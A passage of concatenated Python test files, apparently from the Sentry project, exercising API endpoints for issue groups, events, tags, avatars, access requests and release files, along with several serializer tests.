        new_group2 = Group.objects.get(id=group2.id)
        assert new_group2.is_public

    def test_set_private(self):
        group1 = self.create_group(checksum='a' * 32, is_public=True)
        group2 = self.create_group(checksum='b' * 32, is_public=True)

        self.login_as(user=self.user)
        url = '{url}?id={group1.id}&id={group2.id}'.format(
            url=self.path,
            group1=group1,
            group2=group2,
        )
        response = self.client.put(url, data={
            'isPublic': 'false',
        }, format='json')
        assert response.status_code == 200
        assert response.data == {
            'isPublic': False,
        }

        new_group1 = Group.objects.get(id=group1.id)
        assert not new_group1.is_public

        new_group2 = Group.objects.get(id=group2.id)
        assert not new_group2.is_public

    def test_set_has_seen(self):
        group1 = self.create_group(checksum='a' * 32, status=GroupStatus.RESOLVED)
        group2 = self.create_group(checksum='b' * 32, status=GroupStatus.UNRESOLVED)
        group3 = self.create_group(checksum='c' * 32, status=GroupStatus.MUTED)
        group4 = self.create_group(
            project=self.create_project(slug='foo'),
            checksum='b' * 32, status=GroupStatus.UNRESOLVED)

        self.login_as(user=self.user)
        url = '{url}?id={group1.id}&id={group2.id}&group4={group4.id}'.format(
            url=self.path,
            group1=group1,
            group2=group2,
            group4=group4,
        )
        response = self.client.put(url, data={
            'hasSeen': 'true',
        }, format='json')
        assert response.status_code == 200
        assert response.data == {
            'hasSeen': True,
        }

        r1 = GroupSeen.objects.filter(group=group1, user=self.user)
        assert r1.exists()

        r2 = GroupSeen.objects.filter(group=group2, user=self.user)
        assert r2.exists()

        r3 = GroupSeen.objects.filter(group=group3, user=self.user)
        assert not r3.exists()

        r4 = GroupSeen.objects.filter(group=group4, user=self.user)
        assert not r4.exists()

    @patch('sentry.api.endpoints.project_group_index.merge_group')
    def test_merge(self, merge_group):
        group1 = self.create_group(checksum='a' * 32, times_seen=1)
        group2 = self.create_group(checksum='b' * 32, times_seen=50)
        group3 = self.create_group(checksum='c' * 32, times_seen=2)
        self.create_group(checksum='d' * 32)

        self.login_as(user=self.user)
        url = '{url}?id={group1.id}&id={group2.id}&id={group3.id}'.format(
            url=self.path,
            group1=group1,
            group2=group2,
            group3=group3,
        )
        response = self.client.put(url, data={
            'merge': '1',
        }, format='json')
        assert response.status_code == 200
        assert response.data['merge']['parent'] == six.text_type(group2.id)
        assert sorted(response.data['merge']['children']) == sorted([
            six.text_type(group1.id),
            six.text_type(group3.id),
        ])

        assert len(merge_group.mock_calls) == 2
        merge_group.delay.assert_any_call(from_object_id=group1.id, to_object_id=group2.id)
        merge_group.delay.assert_any_call(from_object_id=group3.id, to_object_id=group2.id)


class GroupDeleteTest(APITestCase):
    @fixture
    def path(self):
        return '/api/0/projects/{}/{}/issues/'.format(
            self.project.organization.slug,
            self.project.slug,
        )

    def test_global_is_forbidden(self):
        self.login_as(user=self.user)
        response = self.client.delete(self.path, data={
            'status': 'resolved',
        }, format='json')
        assert response.status_code == 400

    def test_delete_by_id(self):
        group1 = self.create_group(checksum='a' * 32, status=GroupStatus.RESOLVED)
        group2 = self.create_group(checksum='b' * 32, status=GroupStatus.UNRESOLVED)
        group3 = self.create_group(checksum='c' * 32, status=GroupStatus.MUTED)
        group4 = self.create_group(
            project=self.create_project(slug='foo'),
            checksum='b' * 32, status=GroupStatus.UNRESOLVED)

        self.login_as(user=self.user)
        url = '{url}?id={group1.id}&id={group2.id}&group4={group4.id}'.format(
            url=self.path,
            group1=group1,
            group2=group2,
            group4=group4,
        )

        with self.tasks():
            response = self.client.delete(url, format='json')

        assert response.status_code == 204

        new_group1 = Group.objects.filter(id=group1.id)
        assert not new_group1.exists()

        new_group2 = Group.objects.filter(id=group2.id)
        assert not new_group2.exists()

        new_group3 = Group.objects.filter(id=group3.id)
        assert new_group3.exists()

        new_group4 = Group.objects.filter(id=group4.id)
        assert new_group4.exists()






from __future__ import absolute_import

import six

from sentry.models import EventTag, TagKey, TagValue
from sentry.testutils import APITestCase


class GroupEventsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        group = self.create_group()
        event_1 = self.create_event('a' * 32, group=group)
        event_2 = self.create_event('b' * 32, group=group)

        url = '/api/0/issues/{}/events/'.format(group.id)
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 2
        assert sorted(map(lambda x: x['id'], response.data)) == sorted([
            six.text_type(event_1.id),
            six.text_type(event_2.id),
        ])

    def test_tags(self):
        self.login_as(user=self.user)

        group = self.create_group()
        event_1 = self.create_event('a' * 32, group=group)
        event_2 = self.create_event('b' * 32, group=group)

        tagkey_1 = TagKey.objects.create(project=group.project, key='foo')
        tagkey_2 = TagKey.objects.create(project=group.project, key='bar')
        tagvalue_1 = TagValue.objects.create(project=group.project, key='foo', value='baz')
        tagvalue_2 = TagValue.objects.create(project=group.project, key='bar', value='biz')
        tagvalue_3 = TagValue.objects.create(project=group.project, key='bar', value='buz')

        EventTag.objects.create(
            project_id=group.project_id,
            group_id=group.id,
            event_id=event_1.id,
            key_id=tagkey_1.id,
            value_id=tagvalue_1.id,
        )
        EventTag.objects.create(
            project_id=group.project_id,
            group_id=group.id,
            event_id=event_2.id,
            key_id=tagkey_2.id,
            value_id=tagvalue_2.id,
        )
        EventTag.objects.create(
            project_id=group.project_id,
            group_id=group.id,
            event_id=event_1.id,
            key_id=tagkey_2.id,
            value_id=tagvalue_3.id,
        )

        url = '/api/0/issues/{}/events/'.format(group.id)
        response = self.client.get(url + '?query=foo:baz', format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(event_1.id)

        response = self.client.get(url + '?query=bar:biz', format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(event_2.id)

        response = self.client.get(url + '?query=bar:biz%20foo:baz', format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 0

        response = self.client.get(url + '?query=bar:buz%20foo:baz', format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(event_1.id)

        response = self.client.get(url + '?query=bar:baz', format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 0

        response = self.client.get(url + '?query=a:b', format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 0

        response = self.client.get(url + '?query=bar:b', format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 0

        response = self.client.get(url + '?query=bar:baz', format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 0






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.models import UserAvatar
from sentry.testutils import APITestCase


class UserAvatarTest(APITestCase):
    def test_get(self):
        user = self.create_user(email='a@example.com')

        self.login_as(user=user)

        url = reverse('sentry-api-0-user-avatar', kwargs={
            'user_id': 'me',
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(user.id)
        assert response.data['avatar']['avatarType'] == 'letter_avatar'
        assert response.data['avatar']['avatarUuid'] is None

    def test_put(self):
        user = self.create_user(email='a@example.com')

        self.login_as(user=user)

        url = reverse('sentry-api-0-user-avatar', kwargs={
            'user_id': 'me',
        })
        response = self.client.put(url, data={'avatar_type': 'gravatar'}, format='json')

        avatar = UserAvatar.objects.get(user=user)
        assert response.status_code == 200, response.content
        assert avatar.get_avatar_type_display() == 'gravatar'

    def test_put_bad(self):
        user = self.create_user(email='a@example.com')

        self.login_as(user=user)

        url = reverse('sentry-api-0-user-avatar', kwargs={
            'user_id': 'me',
        })
        response = self.client.put(url, data={'avatar_type': 'upload'}, format='json')

        avatar = UserAvatar.objects.get(user=user)
        assert response.status_code == 400
        assert avatar.get_avatar_type_display() == 'letter_avatar'

        response = self.client.put(url, data={'avatar_type': 'foo'}, format='json')
        assert response.status_code == 400
        assert avatar.get_avatar_type_display() == 'letter_avatar'

    def test_put_forbidden(self):
        user = self.create_user(email='a@example.com')
        user2 = self.create_user(email='b@example.com')

        self.login_as(user=user)

        url = reverse('sentry-api-0-user-avatar', kwargs={
            'user_id': user2.id,
        })
        response = self.client.put(url, data={'avatar_type': 'gravatar'}, format='json')

        assert response.status_code == 403






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import (
    OrganizationAccessRequest, OrganizationMemberTeam
)
from sentry.testutils import APITestCase


class UpdateOrganizationAccessRequestTest(APITestCase):
    def test_approve_request(self):
        self.login_as(user=self.user)

        organization = self.create_organization(name='foo', owner=self.user)
        user = self.create_user('bar@example.com')
        member = self.create_member(
            organization=organization,
            user=user,
            role='member',
        )
        team = self.create_team(name='foo', organization=organization)

        access_request = OrganizationAccessRequest.objects.create(
            member=member,
            team=team,
        )

        path = reverse('sentry-api-0-organization-access-request-details', args=[organization.slug, access_request.id])

        self.login_as(self.user)

        resp = self.client.put(path, data={'isApproved': 1})

        assert resp.status_code == 204

        assert OrganizationMemberTeam.objects.filter(
            organizationmember=member,
            team=team,
            is_active=True,
        ).exists()

        assert not OrganizationAccessRequest.objects.filter(
            id=access_request.id,
        ).exists()

    def test_deny_request(self):
        self.login_as(user=self.user)

        organization = self.create_organization(name='foo', owner=self.user)
        user = self.create_user('bar@example.com')
        member = self.create_member(
            organization=organization,
            user=user,
            role='member',
        )
        team = self.create_team(name='foo', organization=organization)

        access_request = OrganizationAccessRequest.objects.create(
            member=member,
            team=team,
        )

        path = reverse('sentry-api-0-organization-access-request-details', args=[organization.slug, access_request.id])

        self.login_as(self.user)

        resp = self.client.put(path, data={'isApproved': 0})

        assert resp.status_code == 204

        assert not OrganizationMemberTeam.objects.filter(
            organizationmember=member,
            team=team,
            is_active=True,
        ).exists()

        assert not OrganizationAccessRequest.objects.filter(
            id=access_request.id,
        ).exists()

    def test_team_admin_can_approve(self):
        self.login_as(user=self.user)

        organization = self.create_organization(name='foo', owner=self.user)
        user = self.create_user('bar@example.com')
        member = self.create_member(
            organization=organization,
            user=user,
            role='member',
        )
        team = self.create_team(name='foo', organization=organization)

        access_request = OrganizationAccessRequest.objects.create(
            member=member,
            team=team,
        )

        admin_user = self.create_user('admin@example.com')
        self.create_member(
            organization=organization,
            user=admin_user,
            role='admin',
            teams=[team],
        )

        path = reverse('sentry-api-0-organization-access-request-details', args=[organization.slug, access_request.id])

        self.login_as(admin_user)

        resp = self.client.put(path, data={'isApproved': 1})

        assert resp.status_code == 204

    def test_teamless_admin_cannot_approve_with_closed_membership(self):
        self.login_as(user=self.user)

        organization = self.create_organization(
            name='foo',
            owner=self.user,
            flags=0,  # kill allow_joinleave
        )
        user = self.create_user('bar@example.com')
        member = self.create_member(
            organization=organization,
            user=user,
            role='member',
        )
        team = self.create_team(name='foo', organization=organization)

        access_request = OrganizationAccessRequest.objects.create(
            member=member,
            team=team,
        )

        admin_user = self.create_user('admin@example.com')
        self.create_member(
            organization=organization,
            user=admin_user,
            role='admin',
            teams=[],
        )

        path = reverse('sentry-api-0-organization-access-request-details', args=[organization.slug, access_request.id])

        self.login_as(admin_user)

        resp = self.client.put(path, data={'isApproved': 1})

        assert resp.status_code == 403






from __future__ import absolute_import

import six

from datetime import datetime
from django.core.urlresolvers import reverse

from sentry.models import UserReport
from sentry.testutils import APITestCase


class EventDetailsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        group = self.create_group()
        prev_event = self.create_event(
            event_id='a',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 24),
        )
        cur_event = self.create_event(
            event_id='b',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 25),
        )
        next_event = self.create_event(
            event_id='c',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 26),
        )

        url = reverse('sentry-api-0-event-details', kwargs={
            'event_id': cur_event.id,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(cur_event.id)
        assert response.data['nextEventID'] == six.text_type(next_event.id)
        assert response.data['previousEventID'] == six.text_type(prev_event.id)
        assert response.data['groupID'] == six.text_type(group.id)
        assert not response.data['userReport']

        url = reverse('sentry-api-0-event-details', kwargs={
            'event_id': prev_event.id,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(prev_event.id)
        assert response.data['nextEventID'] == six.text_type(cur_event.id)
        assert response.data['previousEventID'] is None
        assert response.data['groupID'] == six.text_type(group.id)
        assert not response.data['userReport']

        url = reverse('sentry-api-0-event-details', kwargs={
            'event_id': next_event.id,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(next_event.id)
        assert response.data['nextEventID'] is None
        assert response.data['previousEventID'] == six.text_type(cur_event.id)
        assert response.data['groupID'] == six.text_type(group.id)
        assert not response.data['userReport']

    def test_identical_datetime(self):
        self.login_as(user=self.user)

        group = self.create_group()
        created = datetime(2013, 8, 13, 3, 8, 24)
        events = []
        events.append(self.create_event(
            event_id='a',
            group=group,
            datetime=created,
        ))
        events.append(self.create_event(
            event_id='b',
            group=group,
            datetime=created,
        ))
        events.append(self.create_event(
            event_id='c',
            group=group,
            datetime=created,
        ))
        events.append(self.create_event(
            event_id='d',
            group=group,
            datetime=created,
        ))
        events.append(self.create_event(
            event_id='e',
            group=group,
            datetime=created,
        ))

        # First event, no prev
        url = reverse('sentry-api-0-event-details', kwargs={
            'event_id': events[0].id,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(events[0].id)
        assert response.data['nextEventID'] == six.text_type(events[1].id)
        assert response.data['previousEventID'] is None
        assert response.data['groupID'] == six.text_type(group.id)
        assert not response.data['userReport']

        # Middle event, has prev and next
        url = reverse('sentry-api-0-event-details', kwargs={
            'event_id': events[1].id,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(events[1].id)
        assert response.data['nextEventID'] == six.text_type(events[2].id)
        assert response.data['previousEventID'] == six.text_type(events[0].id)
        assert response.data['groupID'] == six.text_type(group.id)
        assert not response.data['userReport']

        # Middle event, has prev and next
        url = reverse('sentry-api-0-event-details', kwargs={
            'event_id': events[2].id,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(events[2].id)
        assert response.data['nextEventID'] == six.text_type(events[3].id)
        assert response.data['previousEventID'] == six.text_type(events[1].id)
        assert response.data['groupID'] == six.text_type(group.id)
        assert not response.data['userReport']

        # Middle event, has prev and next
        url = reverse('sentry-api-0-event-details', kwargs={
            'event_id': events[3].id,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(events[3].id)
        assert response.data['nextEventID'] == six.text_type(events[4].id)
        assert response.data['previousEventID'] == six.text_type(events[2].id)
        assert response.data['groupID'] == six.text_type(group.id)
        assert not response.data['userReport']

        # Last event, no next
        url = reverse('sentry-api-0-event-details', kwargs={
            'event_id': events[4].id,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(events[4].id)
        assert response.data['nextEventID'] is None
        assert response.data['previousEventID'] == six.text_type(events[3].id)
        assert response.data['groupID'] == six.text_type(group.id)
        assert not response.data['userReport']

    def test_timestamps_out_of_order(self):
        self.login_as(user=self.user)

        group = self.create_group()
        cur_event = self.create_event(
            event_id='b',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 25),
        )
        next_event = self.create_event(
            event_id='c',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 26),
        )
        prev_event = self.create_event(
            event_id='a',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 24),
        )

        url = reverse('sentry-api-0-event-details', kwargs={
            'event_id': cur_event.id,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(cur_event.id)
        assert response.data['nextEventID'] == six.text_type(next_event.id)
        assert response.data['previousEventID'] == six.text_type(prev_event.id)
        assert response.data['groupID'] == six.text_type(group.id)
        assert not response.data['userReport']

        url = reverse('sentry-api-0-event-details', kwargs={
            'event_id': prev_event.id,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(prev_event.id)
        assert response.data['nextEventID'] == six.text_type(cur_event.id)
        assert response.data['previousEventID'] is None
        assert response.data['groupID'] == six.text_type(group.id)
        assert not response.data['userReport']

        url = reverse('sentry-api-0-event-details', kwargs={
            'event_id': next_event.id,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(next_event.id)
        assert response.data['nextEventID'] is None
        assert response.data['previousEventID'] == six.text_type(cur_event.id)
        assert response.data['groupID'] == six.text_type(group.id)
        assert not response.data['userReport']

    def test_user_report(self):
        self.login_as(user=self.user)

        group = self.create_group()
        cur_event = self.create_event(
            event_id='a',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 24),
        )

        user_report = UserReport.objects.create(
            event_id=cur_event.event_id,
            project=group.project,
            email='foo@example.com',
            name='Jane Doe',
            comments='Hello world!',
        )

        url = reverse('sentry-api-0-event-details', kwargs={
            'event_id': cur_event.id,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(cur_event.id)
        assert response.data['userReport']['id'] == six.text_type(user_report.id)






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.models import File, Release, ReleaseFile
from sentry.testutils import APITestCase


class ReleaseFileDetailsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project(name='foo')

        release = Release.objects.create(
            project=project,
            version='1',
        )

        releasefile = ReleaseFile.objects.create(
            project=project,
            release=release,
            file=File.objects.create(
                name='application.js',
                type='release.file',
            ),
            name='http://example.com/application.js'
        )

        url = reverse('sentry-api-0-release-file-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'version': release.version,
            'file_id': releasefile.id,
        })

        response = self.client.get(url)

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(releasefile.id)


class ReleaseFileUpdateTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project(name='foo')

        release = Release.objects.create(
            project=project,
            version='1',
        )

        releasefile = ReleaseFile.objects.create(
            project=project,
            release=release,
            file=File.objects.create(
                name='application.js',
                type='release.file',
            ),
            name='http://example.com/application.js'
        )

        url = reverse('sentry-api-0-release-file-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'version': release.version,
            'file_id': releasefile.id,
        })

        response = self.client.put(url, {
            'name': 'foobar',
        })

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(releasefile.id)

        releasefile = ReleaseFile.objects.get(id=releasefile.id)
        assert releasefile.name == 'foobar'
        assert releasefile.ident == ReleaseFile.get_ident('foobar')


class ReleaseFileDeleteTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project(name='foo')

        release = Release.objects.create(
            project=project,
            version='1',
        )

        releasefile = ReleaseFile.objects.create(
            project=project,
            release=release,
            file=File.objects.create(
                name='application.js',
                type='release.file',
            ),
            name='http://example.com/application.js'
        )

        url = reverse('sentry-api-0-release-file-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'version': release.version,
            'file_id': releasefile.id,
        })

        response = self.client.delete(url)

        assert response.status_code == 204, response.content

        assert not ReleaseFile.objects.filter(id=releasefile.id).exists()
        assert not File.objects.filter(id=releasefile.file.id).exists()






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import AuthIdentity, AuthProvider
from sentry.testutils import APITestCase


class DeleteUserIdentityTest(APITestCase):
    def test_simple(self):
        user = self.create_user(email='a@example.com')
        org = self.create_organization(owner=user)
        auth_provider = AuthProvider.objects.create(
            organization=org,
            provider='dummy',
        )
        auth_identity = AuthIdentity.objects.create(
            auth_provider=auth_provider,
            ident=user.email,
            user=user,
        )

        self.login_as(user=user)

        url = reverse('sentry-api-0-user-identity-details', kwargs={
            'user_id': user.id,
            'identity_id': auth_identity.id,
        })
        resp = self.client.delete(url, format='json')
        assert resp.status_code == 204, resp.content

        assert not AuthIdentity.objects.filter(
            id=auth_identity.id,
        ).exists()






from __future__ import absolute_import

import six

from sentry.models import Activity
from sentry.testutils import APITestCase


class OrganizationActivityTest(APITestCase):
    def test_simple(self):
        group = self.group
        org = group.organization

        activity = Activity.objects.create(
            group=group,
            project=group.project,
            type=Activity.NOTE,
            user=self.user,
            data={'text': 'hello world'},
        )

        self.login_as(user=self.user)

        url = '/api/0/organizations/{}/activity/'.format(org.slug)
        response = self.client.get(url, format='json')
        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(activity.id)






from __future__ import absolute_import

import six

from datetime import datetime

from sentry.testutils import APITestCase


class GroupEventsLatestTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        group = self.create_group()
        self.create_event(
            event_id='a',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 25),
        )
        event_2 = self.create_event(
            event_id='b',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 26),
        )

        url = '/api/0/issues/{}/events/latest/'.format(group.id)
        response = self.client.get(url, format='json')

        assert response.status_code == 200
        assert response.data['id'] == six.text_type(event_2.id)






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from datetime import timedelta
from django.utils import timezone
from mock import patch

from sentry.api.serializers import serialize
from sentry.models import (
    GroupResolution, GroupResolutionStatus, GroupSnooze, GroupSubscription,
    GroupStatus, Release
)
from sentry.testutils import TestCase


class GroupSerializerTest(TestCase):
    def test_is_muted_with_expired_snooze(self):
        now = timezone.now().replace(microsecond=0)

        user = self.create_user()
        group = self.create_group(
            status=GroupStatus.MUTED,
        )
        GroupSnooze.objects.create(
            group=group,
            until=now - timedelta(minutes=1),
        )

        result = serialize(group, user)
        assert result['status'] == 'unresolved'
        assert result['statusDetails'] == {}

    def test_is_muted_with_valid_snooze(self):
        now = timezone.now().replace(microsecond=0)

        user = self.create_user()
        group = self.create_group(
            status=GroupStatus.MUTED,
        )
        snooze = GroupSnooze.objects.create(
            group=group,
            until=now + timedelta(minutes=1),
        )

        result = serialize(group, user)
        assert result['status'] == 'muted'
        assert result['statusDetails'] == {'snoozeUntil': snooze.until}

    def test_resolved_in_next_release(self):
        release = Release.objects.create(
            project=self.project,
            version='a',
        )
        user = self.create_user()
        group = self.create_group(
            status=GroupStatus.RESOLVED,
        )
        GroupResolution.objects.create(
            group=group,
            release=release,
        )

        result = serialize(group, user)
        assert result['status'] == 'resolved'
        assert result['statusDetails'] == {'inNextRelease': True}

    def test_resolved_in_next_release_expired_resolution(self):
        release = Release.objects.create(
            project=self.project,
            version='a',
        )
        user = self.create_user()
        group = self.create_group(
            status=GroupStatus.RESOLVED,
        )
        GroupResolution.objects.create(
            group=group,
            release=release,
            status=GroupResolutionStatus.RESOLVED,
        )

        result = serialize(group, user)
        assert result['status'] == 'resolved'
        assert result['statusDetails'] == {}

    @patch('sentry.models.Group.is_over_resolve_age')
    def test_auto_resolved(self, mock_is_over_resolve_age):
        mock_is_over_resolve_age.return_value = True

        user = self.create_user()
        group = self.create_group(
            status=GroupStatus.UNRESOLVED,
        )

        result = serialize(group, user)
        assert result['status'] == 'resolved'
        assert result['statusDetails'] == {'autoResolved': True}

    def test_subscribed(self):
        user = self.create_user()
        group = self.create_group()

        GroupSubscription.objects.create(
            user=user,
            group=group,
            project=group.project,
            is_active=True,
        )

        result = serialize(group, user)
        assert result['isSubscribed']

    def test_explicit_unsubscribed(self):
        user = self.create_user()
        group = self.create_group()

        GroupSubscription.objects.create(
            user=user,
            group=group,
            project=group.project,
            is_active=False,
        )

        result = serialize(group, user)
        assert not result['isSubscribed']

    def test_implicit_subscribed(self):
        user = self.create_user()
        group = self.create_group()

        result = serialize(group, user)
        assert result['isSubscribed']

    def test_no_user_unsubscribed(self):
        group = self.create_group()

        result = serialize(group)
        assert not result['isSubscribed']






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import six

from sentry.api.serializers import serialize
from sentry.models import EventUser, GroupTagValue, TagValue
from sentry.testutils import TestCase


class GroupTagValueSerializerTest(TestCase):
    def test_with_user(self):
        user = self.create_user()
        project = self.create_project()
        euser = EventUser.objects.create(
            project=project,
            email='foo@example.com',
        )
        tagvalue = TagValue.objects.create(
            project=project,
            key='sentry:user',
            value=euser.tag_value,
        )
        grouptagvalue = GroupTagValue.objects.create(
            project=project,
            group=self.create_group(project=project),
            key=tagvalue.key,
            value=tagvalue.value,
        )

        result = serialize(grouptagvalue, user)
        assert result['id'] == six.text_type(grouptagvalue.id)
        assert result['key'] == 'user'
        assert result['value'] == grouptagvalue.value
        assert result['name'] == euser.get_label()

    def test_with_no_tagvalue(self):
        user = self.create_user()
        project = self.create_project()
        grouptagvalue = GroupTagValue.objects.create(
            project=project,
            group=self.create_group(project=project),
            key='sentry:user',
            value='email:foo@example.com',
        )

        result = serialize(grouptagvalue, user)
        assert result['id'] == six.text_type(grouptagvalue.id)
        assert result['key'] == 'user'
        assert result['value'] == grouptagvalue.value
        assert result['name'] == grouptagvalue.value






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.api.serializers import serialize, Serializer
from sentry.testutils import TestCase


class Foo(object):
    pass


class FooSerializer(Serializer):
    def serialize(self, *args, **kwargs):
        return 'lol'


class BaseSerializerTest(TestCase):
    def test_serialize(self):
        assert serialize([]) == []
        assert serialize(None) is None

        user = self.create_user()
        # We don't want to assert on the value, just that it serialized
        assert isinstance(serialize(user), dict)

        # explicitly passed serializer
        foo_serializer = FooSerializer()
        assert serialize(user, serializer=foo_serializer) == 'lol'

        foo = Foo()
        assert serialize(foo) is foo, 'should return the object when unknown'
        assert serialize(foo, serializer=foo_serializer) == 'lol'

        rv = serialize([user])
        assert isinstance(rv, list)
        assert len(rv) == 1

        rv = serialize([user, None])
        assert isinstance(rv, list)
        assert len(rv) == 2
        assert rv[1] is None

        rv = serialize([None, user])
        assert isinstance(rv, list)
        assert len(rv) == 2
        assert rv[0] is None
        assert isinstance(rv[1], dict)






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import six

from sentry.api.serializers import serialize
from sentry.testutils import TestCase
from sentry.models import Authenticator
from sentry.models.authenticator import available_authenticators


class UserSerializerTest(TestCase):
    def test_simple(self):
        user = self.create_user()

        result = serialize(user)
        assert result['id'] == six.text_type(user.id)
        assert result['has2fa'] is False

        Authenticator.objects.create(
            user=user,
            type=available_authenticators(ignore_backup=True)[0].type,
        )

        result = serialize(user)
        assert result['id'] == six.text_type(user.id)
        assert result['has2fa'] is True






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import six

from sentry.api.serializers import serialize
from sentry.models import EventUser, TagValue
from sentry.testutils import TestCase


class TagValueSerializerTest(TestCase):
    def test_with_user(self):
        user = self.create_user()
        project = self.create_project()
        euser = EventUser.objects.create(
            project=project,
            email='foo@example.com',
        )
        tagvalue = TagValue.objects.create(
            project=project,
            key='sentry:user',
            value=euser.tag_value,
        )

        result = serialize(tagvalue, user)
        assert result['id'] == six.text_type(tagvalue.id)
        assert result['key'] == 'user'
        assert result['value'] == tagvalue.value
        assert result['name'] == euser.get_label()

    def test_basic(self):
        user = self.create_user()
        project = self.create_project()
        tagvalue = TagValue.objects.create(
            project=project,
            key='sentry:user',
            value='email:foo@example.com',
        )

        result = serialize(tagvalue, user)
        assert result['id'] == six.text_type(tagvalue.id)
        assert result['key'] == 'user'
        assert result['value'] == tagvalue.value
        assert result['name'] == tagvalue.get_label()






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from django.utils import timezone
from uuid import uuid4

from sentry.api.serializers import serialize
from sentry.models import Release, TagValue
from sentry.testutils import TestCase


class ReleaseSerializerTest(TestCase):
    def test_simple(self):
        user = self.create_user()
        project = self.create_project()
        release = Release.objects.create(
            project=project,
            version=uuid4().hex,
            new_groups=1,
        )
        TagValue.objects.create(
            project=release.project,
            key='sentry:release',
            value=release.version,
            first_seen=timezone.now(),
            last_seen=timezone.now(),
            times_seen=5,
        )

        result = serialize(release, user)
        assert result['version'] == release.version
        assert result['shortVersion'] == release.version
        assert result['newGroups'] == 1
        assert result['firstEvent']
        assert result['lastEvent']

        # Make sure a sha1 value gets truncated
        release.version = '0' * 40
        result = serialize(release, user)
        assert result['shortVersion'] == '0' * 12

    def test_no_tag_data(self):
        user = self.create_user()
        project = self.create_project()
        release = Release.objects.create(
            project=project,
            version=uuid4().hex,
        )

        result = serialize(release, user)
        assert result['version'] == release.version
        assert not result['firstEvent']
        assert not result['lastEvent']






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import six

from sentry.api.serializers import serialize
from sentry.api.serializers.models.event import SharedEventSerializer
from sentry.testutils import TestCase
from sentry.models import EventError


class EventSerializerTest(TestCase):
    def test_simple(self):
        event = self.create_event(event_id='a')

        result = serialize(event)
        assert result['id'] == six.text_type(event.id)
        assert result['eventID'] == 'a'

    def test_eventerror(self):
        event = self.create_event(data={
            'errors': [{
                'type': EventError.INVALID_DATA,
                'name': u'ü',
            }],
        })

        result = serialize(event)
        assert len(result['errors']) == 1
        assert 'data' in result['errors'][0]
        assert result['errors'][0]['type'] == EventError.INVALID_DATA
        assert u'ü' in result['errors'][0]['message']
        assert result['errors'][0]['data'] == {'name': u'ü'}


class SharedEventSerializerTest(TestCase):
    def test_simple(self):
        event = self.create_event(event_id='a')

        result = serialize(event, None, SharedEventSerializer())
        assert result['id'] == six.text_type(event.id)
        assert result['eventID'] == 'a'
        assert result.get('context') is None
        assert result.get('contexts') is None
        assert result.get('user') is None
        assert result.get('tags') is None
        for entry in result['entries']:
            assert entry['type'] != 'breadcrumbs'






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import six

from sentry.api.serializers import serialize
